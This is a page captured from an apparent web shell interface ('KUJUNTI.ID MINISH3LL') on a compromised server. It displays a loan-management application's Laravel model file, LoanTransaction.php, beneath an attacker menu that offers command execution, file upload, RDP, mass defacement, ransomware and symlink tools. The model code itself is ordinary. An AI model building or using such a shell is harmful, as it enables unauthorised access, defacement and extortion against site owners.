KUJUNTI.ID MINISH3LL
Path : /var/www/html/thb_loan_system/app/Models/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/thb_loan_system/app/Models/LoanTransaction.php


<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;
use App\Builders\LoanTransactionBuilder;

class LoanTransaction extends Model
{
    protected $table = "loan_transactions";

    public function user()
    {
        return $this->hasOne(User::class, 'id', 'user_id');
    }

    public function borrower()
    {
        return $this->hasOne(Borrower::class, 'id', 'borrower_id');
    }

    public function loan_repayment_method()
    {
        return $this->hasOne(LoanRepaymentMethod::class, 'id', 'repayment_method_id');
    }

    public function loan()
    {
        return $this->hasOne(Loan::class, 'id', 'loan_id');
    }

    public function journal_entries()
    {
        return $this->hasMany(JournalEntry::class, 'loan_transaction_id', 'id');
    }

    public function schedule()
    {
        return $this->hasOne(LoanSchedule::class, 'id', 'loan_schedule_id');
    }

     public static function query(): LoanTransactionBuilder
    {
        return parent::query(); // TODO: Change the autogenerated stub
    }

    public function newEloquentBuilder($query): LoanTransactionBuilder
    {
        return new LoanTransactionBuilder($query);
    }
}

© KUJUNTI.ID